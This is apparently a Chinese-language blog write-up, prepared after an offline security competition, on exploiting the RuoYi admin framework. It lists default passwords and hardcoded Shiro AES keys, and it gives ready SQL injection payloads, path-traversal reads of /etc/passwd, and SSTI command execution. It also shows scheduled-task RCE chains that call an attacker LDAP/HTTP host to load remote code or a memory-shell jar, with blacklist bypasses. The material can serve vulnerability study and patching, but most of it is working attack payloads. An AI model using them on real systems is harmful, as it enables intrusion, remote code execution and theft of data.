前言
参加完今年的御网杯线下赛,在渗透部分考到的是一个若依框架被打蒙了,趁着假期系统总结一下。
简介
Ruoyi(若依)是一款基于Spring Boot和Vue.js开发的快速开发平台。它提供了许多常见的后台管理系统所需的功能和组件,包括权限管理、定时任务、代码生成、日志管理等。Ruoyi的目标是帮助开发者快速搭建后台管理系统,提高开发效率。若依有很多版本,其中使用最多的是Ruoyi单应用版本(RuoYi),Ruoyi前后端分离版本(RuoYi-Vue),Ruoyi微服务版本(RuoYi-Cloud),Ruoyi移动版本(RuoYi-App)。
ruoyi历史漏洞主要包括shiro反序列化,ssti,sql注入,任意文件下载,定时任务远程rce等等,Shiro反序列化漏洞适用于RuoYi V-4.6.2之前的版本,SSTI漏洞适用于V-4.7.1版本,SQL注入适用于<V-4.6.2版本。任意文件下载漏洞适用于所有版本V-4.7.8之前,定时任务远程RCE适用于<V-4.7.2版本。
环境搭建
首先获取一下源代码
|-----------------------------------------------------|
| git clone https://gitee.com/y_project/RuoYi |
然后切换一下版本
|-----------------------------|
| git checkout v4.5.1 |
切换完之后需要修改一下配置文件

接下来要配置数据库,这里使用phpstudy起的mysql服务,需要新建一个数据库ry,然后数据库导入根目录下sql文件夹的两个sql文件,

导入后如图

修改配置文件application-druid.yml

这里修改用户名和密码。
配置好之后启动即可

漏洞复现
弱口令
在登陆界面存在弱口令,常见的用户名有admin,rouyi,druid,弱口令密码:admin,admin123,druid,
shiro反序列化漏洞
影响版本为Ruoyi<V-4.6.2
在配置文件application中密钥

Rouyi-4.2版本使用的是shiro-1.4.2,在这个版本和版本之后都勾选AES GCM模式,RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用
| RuoYi 版本号 | 对象版本的默认AES密钥 |
|---|---|
| 4.6.1-4.3.1 | zSyK5Kp6PZAAjlT+eeNMlg== |
| 3.4-及以下 | fCq+/xW488hMTCD+cmJ3aQ== |

sql注入
注入点1:system/role/list接口
先看一下关键代码

这里出现了两种符#{}还有${},两者之间存在差异
**#{}**是预编译占位符,将参数与sql语句分开传输,数据库只会把传入内容当成普通值,不会解析 SQL 语法。
**${}**是字符串直接拼接,不做任何转义直接,直接把变量拼接进sql语句。所有就要控制params.dataScope,
查询参数类型是SysRole 对象,对象有private Map<String,Object> params,params类型是Map,接下看一下mapper层

继续跟进一下进入服务层

角色管理业务的实现层,承接Controller,调用Mapper,继续跟进查看Controller层

整个查询流程为前端发起请求,接口POST/system/role/list,Controller接受并封装参数,SysRole role 接收所有前端参数,roleName、status → 赋值给 SysRole 自身成员变量,beginTime、endTime 实体无对应属性 → 自动存入父类BaseEntity的params Map
然后将封装好所有查询条件的role对象,传给Service层,执行
|---------------------------------------------------------------------------------------------------------------------------------------------|
| @Override @DataScope(deptAlias = "d") public List<SysRole> selectRoleList(SysRole role) { return roleMapper.selectRoleList(role); } |
先获取用户信息,根据用户权限拼接sql过滤片段,进入Mapper层进行动态查询,

抓包查看参数

添加参数
|----------------------------------------------------------------------------------|
| ¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e)) |

注入点2: /system/role/export接口


注入点3:system/user/list
在SysUerMapper.xml文件中,


注入点4:system/user/export

注入点5:/system/dept/list
注入点6:/system/role/authUser/allocatedList接口


注入点7:/role/authUser/unallocatedList
注入点8:system/dept/edit

payload
|--------------------------------------------------------------------------------------------------------------------------------------|
| DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));# |

任意文件读取(CNVD-2021-01931)
登录后台后可以读取服务器上的任意文件。影响版本:RuoYi<4.5.1
poc:
|----------------------------------------------------------------------------------------------------------------------------------------------------|
| /common/download/resource?resource=/profile/../../../../etc/passwd /common/download/resource?resource=/profile/../../../../Windows/win.ini |
后台定时任务RCE
ruoyi版本<=v4.7.8
若依后台计划任务处,对传入的"调用字符串"没有任何校验,所以攻击者可以通过调用任意类,方法,触发反射进行rce。实现rce是通过定时任务+sql注入实现的。下面结合代码分析
ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java

在添加新的定时任务之后会进行判断,对调用的字符串进行黑名单判断,通过之后会调用
|---------------------------------------------------|
| return toAjax(jobService.insertJob(job)); |
跟进一下

接受前端传来的参数,并把任务改为暂停状态。写入数据到sys_job表中,数据库写入成功才会Quartz中创该定时任务。
写入数据库之后再创建定时任务
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| public static void createScheduleJob(Scheduler scheduler, SysJob job) throws SchedulerException, TaskException { Class<? extends Job> jobClass = getQuartzJobClass(job); // 构建job信息 Long jobId = job.getJobId(); String jobGroup = job.getJobGroup(); JobDetail jobDetail = JobBuilder.newJob(jobClass).withIdentity(getJobKey(jobId, jobGroup)).build(); // 表达式调度构建器 CronScheduleBuilder cronScheduleBuilder = CronScheduleBuilder.cronSchedule(job.getCronExpression()); cronScheduleBuilder = handleCronScheduleMisfirePolicy(job, cronScheduleBuilder); // 按新的cronExpression表达式构建一个新的trigger CronTrigger trigger = TriggerBuilder.newTrigger().withIdentity(getTriggerKey(jobId, jobGroup)) .withSchedule(cronScheduleBuilder).build(); // 放入参数,运行时的方法可以获取 jobDetail.getJobDataMap().put(ScheduleConstants.TASK_PROPERTIES, job); // 判断是否存在 if (scheduler.checkExists(getJobKey(jobId, jobGroup))) { // 防止创建时存在数据问题 先移除,然后在执行创建操作 scheduler.deleteJob(getJobKey(jobId, jobGroup)); } // 判断任务是否过期 if (StringUtils.isNotNull(CronUtils.getNextExecution(job.getCronExpression()))) { // 执行调度任务 scheduler.scheduleJob(jobDetail, trigger); } // 暂停任务 if (job.getStatus().equals(ScheduleConstants.Status.PAUSE.getValue())) { scheduler.pauseJob(ScheduleUtils.getJobKey(jobId, jobGroup)); } } |
创建定时任务之后,进入到定时任务运行时的逻辑

进入invokeMethod方法,
|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| public static void invokeMethod(SysJob sysJob) throws Exception { String invokeTarget = sysJob.getInvokeTarget(); String beanName = getBeanName(invokeTarget); String methodName = getMethodName(invokeTarget); List<Object[]> methodParams = getMethodParams(invokeTarget); if (!isValidClassName(beanName)) { Object bean = SpringUtils.getBean(beanName); invokeMethod(bean, methodName, methodParams); } else { Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance(); invokeMethod(bean, methodName, methodParams); } } /** * 调用任务方法 * * @param bean 目标对象 * @param methodName 方法名称 * @param methodParams 方法参数 */ private static void invokeMethod(Object bean, String methodName, List<Object[]> methodParams) throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { if (StringUtils.isNotNull(methodParams) && methodParams.size() > 0) { Method method = bean.getClass().getMethod(methodName, getMethodParamsType(methodParams)); method.invoke(bean, getMethodParamsValue(methodParams)); } else { Method method = bean.getClass().getMethod(methodName); method.invoke(bean); } } |
解析定时任务配置字符串invokeTarget,通过反射调用方法,并且拥有两种模式:
1.Spring Bean模式,从Spring容器中获取Bean执行
2.全类名模式,反射new对象执行无参构造实例
创建后的定时任务信息储存在sys_job表中,结合一下在v4.7.5版本在/tool/gen/createTable接口处存在sql注入


genTableService的实现类GenTableServiceImpl中有

Mapper语句

这里就存在漏洞,结合上述分析,GenTableServiceImpl 是 bean 对象,Ruoyi 内置定时任务 sys_job 模块支持反射调用 Spring Bean
那么就可以直接通过
|----------------------------------------------|
| genTableServiceImpl.createTable(sql) |
执行sql语句。通过sql注入恶意语句修改定时任务从而实现rce。
首先使用JNDI-Injection-Exploit攻击先开启一下相关的ldap服务,
|-------------------------------------------------------------------------------------------------------|
| java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A 192.168.100.128 |

|---------------------------------------------------------------------------------|
| javax.naming.InitialContext.lookup('ldap://192.168.100.128:1389/ups1ic) |
这个payload会触发黑名单,使用十六进制编码绕过
|--------------------------------------------------------------------------------------------------------------------------------------------------------|
| 6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e3130302e3132383a313338392f75707331696329 |
最终就是
|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e3130302e3132383a313338392f75707331696329 WHERE job_id = 1;') |

运行之后

运行任务即可触发。
ruoyi版本<v4.6.2
若依 snakeyaml 反序列化漏洞注入内存马
poc:GitHub - lz2y/yaml-payload-for-ruoyi: A memory shell for ruoyi · GitHub
把jar放到系统可以访问的地方,在定时任务创建新的定时任务,再立即执行一次即可
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.100.128:7777/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar"]]]]') |

rce:?cmd=dir

4.6.2<=ruoyi版本<v4.7.2
采用了黑名单限制了需要调用的字符串,ldap,http,rmi
绕过也很简单只需要在屏蔽协议上接上单引号即可
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["h't't'p://192.168.100.128:7777/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar"]]]]') |

任意文件下载漏洞
4.7.6及以下版本
首先添加一个定时任务

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('c://windows/win.ini')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark= |
然后请求下载即可
|---------------------------------------------------|
| /common/download/resource?resource=xxxxxx |

SSTI模板注入
版本<=v4.7.1

接口/monitor/cache/getkeys

payload
|---------------------------------------------------------------------------------------|
| cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec("calc.exe")} |
剩下的接口payload一致
接口/monitor/cache/getName
接口/monitor/cache/getValue
接口/demo/form/localrefresh/task